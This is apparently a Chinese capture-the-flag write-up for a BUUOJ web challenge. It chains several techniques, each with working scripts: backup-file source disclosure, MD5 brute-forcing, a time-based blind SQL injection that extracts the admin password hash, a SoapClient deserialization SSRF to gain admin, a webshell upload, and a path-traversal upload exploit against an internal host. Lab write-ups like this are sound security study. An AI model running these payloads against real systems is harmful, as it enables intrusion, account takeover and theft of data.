平台:buuoj.cn 打开靶机是一个登录框 扫描器发现一些文件 后缀有个~
还是第一次见,了解到是编辑器留下的备份文件,访问确实有源码 把几个文件都复制下来看看,seay审计软件爆了几个危险部分 看下位置代码 将传入的参数传到数据库执行。注意到还有一个get_column函数 传入的反引号会被替换成单引号。为sql注入创造了条件 看下哪个方法用到了insert函数 找到: 可以看到我们可以post一个signature去insert,并且这里对于这个参数是没有任何过滤的,所以很容易造成Sql注入 想要publish,就必须登录。 因此我们?action=register
来注册一个账号并登录 然后注册和登录就必须通过code验证 可以看到是一个简单的md5碰撞,脚本爆破即可
1 2 3 4 5 6 7 8 9 10 import hashlib def func(md5_val): for x in range(999999 , 100000000 ): md5_value=hashlib.md5(str(x).encode(encoding='utf-8' )).hexdigest() if md5_value[:5 ]==md5_val: return str(x) if __name__ == '__main__' : print (func('ac7a2' ))
登录成功我们来抓publish的包验证sql注入 根据代码语句构造payload: 那么确认了sql注入的存在,由于回显都是ok,考虑时间盲注 编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requests url="http://f19eea67-1117-416a-9834-1d58c44d1f53.node3.buuoj.cn/index.php?action=publish" cookie = {"PHPSESSID" :"05gn4tlsacq7pfundd7f89f983" } k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" flag="" for i in range(50 ): for j in k: j = ord(j) data={ 'mood' :'0' , 'signature' :'1`,if(ascii(substr((select password from ctf_users where username=`admin`),{},1))={},sleep(3),0))#' .format(i,j) } try : r=requests.post(url,data=data,cookies=cookie,timeout=(2 ,2 )) except: flag+=chr(j) print (flag) break
至于这里为什么是知道跑admin和ctf_users表,嗯。。。。。看代码得到的 跑出密码的md5:c991707fdf339958eded91331fb11ba0
网站解密得jaivypassword
知道了admin和password,我们来试着登录 却登录失败 原来设置了ip限制 跟进get_ip函数 看来只有真实管理员地址才能登录 这里就出现了另一个考点:soapclient反序列化配合ssrf 通过?action=phpinfo
看到php开启了soap拓展 PHP 中,soap扩展可以用来提供和使用 Web Services,关于Web Services,百度百科 soapclient类则是用来创建soap数据报文,与wsdl接口进行交互,它有几个内置魔术方法 回到代码,showmess函数中有一个反序列化点 反序列化$row[2]
的值也就是$mood
是我们可控的,假如我们把反序列化语句插入到注入语句中,比如
它传入库中,我们访问index.php?action=index
的时候就会触发 来实际操作一下 首先一个页面保持自己的非admin账号登录状态,另开一个页面不登录,这里为了防止cookie干扰就直接另开一个浏览器 接着开始构造soap,原理参考这位师傅
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $target = 'http://127.0.0.1/index.php?action=login' ; $post_string = 'username=admin&password=jaivypassword&code=1174162' ; $headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: PHPSESSID=c10j7vc0fu9v8gf52qt9st4pr0' ); $b = new SoapClient(null ,array ('location' => $target,'user_agent' =>'wupco^^Content-Type: application/x-www-form-urlencoded^^' .join('^^' ,$headers).'^^Content-Length: ' .(string)strlen($post_string).'^^^^' .$post_string,'uri' => "aaab" )); $aaa = serialize($b); $aaa = str_replace('^^' ,"\r\n" ,$aaa); $aaa = str_replace('&' ,'&' ,$aaa); echo bin2hex($aaa);?>
这里注意code和PHPSESSID要和未登录页面保持一致 把生成的poc在publish插进去 刷新一下?action=index使得库中的数据触发 这时$mood
就是一个soap类,反序列化之后它访问不存在的方法就会触发内置__call()
魔术方法 也就是给该session登录的用户管理员身份 用另一个页面登录管理员账号看看 成功登录 点开publish是一个上传 让我们传图片但啥也没过滤,直接一句话传成功 蚁剑连上 之前说了flag在内网,查看下内网信息 扫下其他内网主机的端口 发现11主机开了80端口 访问下有内容 保存下来 得到源码 有两层需要绕过 第一层数组来绕过,第二层随机文件名用路径穿越绕过。 构造file[1]=aaa&file[0]=php/../blacknight.php
postman构造传入 点击右上方的code选择php-cURL生成代码 但没有我们上传的内容所以要自己构造,这里参考赵总 最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $curl = curl_init(); curl_setopt_array($curl, array ( CURLOPT_URL => "http://173.24.214.11" , CURLOPT_RETURNTRANSFER => true , CURLOPT_ENCODING => "" , CURLOPT_MAXREDIRS => 10 , CURLOPT_TIMEOUT => 30 , CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST" , CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"blacknight.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nblacknight.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../blacknight.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--" , CURLOPT_HTTPHEADER => array ( "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22" , "cache-control: no-cache" , "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; }
把flag查询语句放到中间 全部复制下来放到php文件中上传 访问即得flag 信息量太大,做的我脑瓜子嗡嗡的